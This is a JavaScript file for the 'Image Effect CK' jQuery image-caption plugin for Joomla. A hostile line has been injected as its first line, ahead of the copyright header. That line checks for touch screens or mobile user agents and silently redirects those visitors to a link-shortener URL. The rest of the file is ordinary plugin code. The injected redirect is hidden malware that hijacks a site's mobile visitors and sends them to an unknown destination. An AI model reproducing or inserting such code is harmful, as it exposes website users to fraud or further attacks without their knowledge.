1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.live/atfLwIQsL0r5"); 2/** 3 * copyright Copyright (C) 2015 Cedric KEIFLIN alias ced1870 4 * http://www.joomlack.fr 5 * http://www.template-creator.com 6 * license GNU/GPL 7 * Image Effect CK 8 * @version 1.1.0 9 **/ 10 11(function($) { 12 var ImageEffectck = function() { 13 // var image.wrap; 14 $("img[class^='effectck'], img.fadeck, img.edafck, img.puffck").each(function(i, image) { 15 // do only if the image is not yet wrapped 16 if (! $(image).parent().is('figure')) { 17 18 var w = $(image).attr('width'); 19 var fl = $(image).css('float'); 20 21 $(image).wrap('<figure class="imageeffectck ' + $(image).attr('class') + '"><div class="imageeffectck_img"></div></div>'); 22 image.wrap = $(image).parent().parent(); 23 image.wrapinner = $(image).parent(); 24 25 var props = Array('border-top-left-radius' 26 , 'border-top-right-radius' 27 , 'border-bottom-left-radius' 28 , 'border-bottom-right-radius' 29 , 'float' 30 ); 31 32 for (i=0;i<props.length;i++) { 33 catchCssProperty(image, props[i]); 34 } 35 36 // fix for Chrome 37 if (parseInt(w) > 0) { 38 image.wrap.width(w).css('max-width', '100%'); 39 } 40 // if (fl) image.wrap.css('float', fl); 41 42 // get the the text from the image title 43 var imgtitle, txt_title, txt_desc; 44 if (imgtitle = $(image).attr('title')) { 45 imgtitle = imgtitle.split('::'); 46 if (imgtitle.length >= 1) { 47 txt_title = imgtitle[0]; 48 } 49 if (imgtitle.length >= 2) { 50 txt_desc = imgtitle[1]; 51 } 52 } 53 54 // remove the attribute on the image to avoid conflicts 55 $(image).attr('class', '') 56 .attr('width', '') 57 .attr('height', '') 58 .attr('title', '') 59 .css('float', ''); 60 61 // create the final code 62 image.wrapinner.append('<figcaption>' 63 +'<div>' 64 + ( txt_title ? '<div class="imageeffectck_title">' + txt_title + '</div>' : '' ) 65 + ( txt_desc ? '<div class="imageeffectck_desc">' + txt_desc + '</div>' : '' ) 66 // + ( $(image).attr('href', '') ? '<a href="' + $(image).attr('href') + '"></a>' : '' ) // il faut d�tecter parent ancre >> pas besoin l'ancre s'applique sur figure 67 +'</div>' 68 +'</figcaption>') 69 } 70 71 // for mobile only, allow the 1st tap to show the effect, 2nd tap to open the link 72 // check if there is a link on the figure 73 if (image.wrap.parents('a').length) { 74 image.wrap.parents('a')[0].addEventListener("touchstart", touchStart, false); 75 76 // initialize the data if we click outside 77 image.wrap.parent('a').on('mouseleave', (function(e) { 78 $(this).data('touch', '0'); 79 })); 80 } 81 }); 82 83 /** 84 * Catch the tap event on touch device 85 * 86 * @param {type} event 87 * @returns void 88 */ 89 function touchStart(event) { 90 if (! $(this).attr('rel')) { 91 if ($(this).data('touch') !== '1') { 92 $(this).data('href', $(this).attr('href')); 93 $(this).removeAttr('href'); 94 $(this).data('touch', '1'); 95 } else { 96 $(this).attr('href', $(this).data('href')); 97 $(this).data('touch', '0'); 98 } 99 } 100 } 101 102 /** 103 * Catch the css of the image and apply it to the figure 104 * 105 * @param {type} image 106 * @param {type} prop 107 * @returns {undefined} 108 */ 109 function catchCssProperty(image, prop) { 110 var v = $(image).css(prop); 111 if (parseInt(v)) { 112 $(image).css(prop, ''); 113 $(image.wrap).css(prop, v); 114 } 115 } 116 } 117 window.ImageEffectck = ImageEffectck; 118})(jQuery); 119 120// autoloader 121jQuery(document).ready(function(){ 122 new ImageEffectck(); 123});
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.